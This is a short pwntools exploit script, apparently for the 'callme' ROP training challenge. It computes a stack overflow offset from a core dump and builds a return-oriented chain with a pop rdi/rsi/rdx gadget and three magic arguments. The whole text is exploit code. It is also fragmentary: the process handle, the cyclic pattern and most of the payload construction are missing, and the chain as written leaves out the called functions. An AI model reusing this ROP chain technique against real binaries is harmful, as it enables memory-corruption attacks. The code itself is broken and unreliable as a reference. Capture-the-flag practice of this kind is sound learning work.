context(arch="amd64", os="linux")
elf = ELF("callme", checksec=False)
p.sendlineafter("> ", pattern)
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))
log.info(f"offset: {offset}")
callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme --only "pop|ret" | grep rdi
pop_rdi_rsi_rdx = 0x40093c
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
pop_rdi_rsi_rdx, arg1, arg2, arg3,
pop_rdi_rsi_rdx, arg1, arg2, arg3,
pop_rdi_rsi_rdx, arg1, arg2, arg3,
p.sendlineafter("> ", payload)